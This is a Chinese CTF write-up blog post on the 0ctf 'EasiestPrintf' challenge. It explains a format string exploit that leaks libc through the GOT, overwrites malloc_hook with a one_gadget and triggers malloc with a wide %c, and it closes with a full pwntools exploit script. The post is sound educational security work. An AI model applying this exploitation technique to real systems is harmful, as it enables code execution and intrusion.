博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
格式化字符串漏洞利用实战之 0ctf-easyprintf
阅读量:4706 次
发布时间:2019-06-10

本文共 1002 字,大约阅读时间需要 3 分钟。

前言

这是 0ctf 的一道比较简单的格式化串的题目。

正文

逻辑非常简单

006daSSqgy1fyi3d4xhgij30ps0cx3z8.jpg

do_read 可以打印内存地址的数据,可用来 泄露 got.

006daSSqgy1fyi3d8tbuqj30dx073wes.jpg

leave 格式化字符串漏洞。

006daSSqgy1fyi3de389yj30gb0bfwew.jpg

printf(s) 直接调用 exit 退出了。不过可以使用 %1000c 触发 printf 里面的 mallocfree, 所以思路很清楚了,修改 free_hook 或者 malloc_hookone_gadget, 并且在格式化串末尾加上 %1000c触发 mallocfree

006daSSqgy1fyi3dk8h2fj30zk0e1dhq.jpg

最后

最开始修改 free_hook, 发现所有的 one_gadget 都不能用,后面使用了 malloc_hook ,终于找到一个可以用的,估计和寄存器的数据有关。

exp:

from pwn import *context(os='linux',log_level='debug')p = process("./EasiestPrintf")# gdb.attach(p, '''# c#   ''')setvbuf_got = 0x08049FF0 exit_got = 0x08049FE4pause()p.sendline(str(setvbuf_got))p.recvuntil("Which address you wanna read:\n")setvbuf_addr = int(p.recv(len('0xf7e60360')), 16)libc_addr = setvbuf_addr - 0x60360free_hook = libc_addr + 0x1b38b0malloc_hook = libc_addr + 0x1b2768one_gadget = libc_addr + 0x3ac69log.info("free_hook: " + hex(free_hook))log.info("one_gadget: " + hex(one_gadget))pause()payload = fmtstr_payload(7, {malloc_hook: one_gadget})  payload +=  "%100000c"p.sendline(payload)p.interactive()

转载于:https://www.cnblogs.com/hac425/p/9416818.html

你可能感兴趣的文章
Android_去掉EditText控件周围橙色高亮区域
查看>>
《构建之法》第一、二、十六章阅读笔记
查看>>
arrow:让Python的日期与时间变的更好
查看>>
(转)Excel的 OleDb 连接串的格式(连接Excel 2003-2013)
查看>>
Java并发编程
查看>>
Git Stash用法
查看>>
sql server 2008学习8 sql server存储和索引结构
查看>>
Jquery radio选中
查看>>
memcached 细究(三)
查看>>
RSA System.Security.Cryptography.CryptographicException
查看>>
webservice整合spring cxf
查看>>
[解题报告] 100 - The 3n + 1 problem
查看>>
Entity Framework 学习高级篇1—改善EF代码的方法(上)
查看>>
Mybatis逆向工程配置文件详细介绍(转)
查看>>
String类的深入学习与理解
查看>>
不把DB放进容器的理由
查看>>
OnePage收集
查看>>
Java parseInt()方法
查看>>
yahoo的30条优化规则
查看>>
[CCF2015.09]题解
查看>>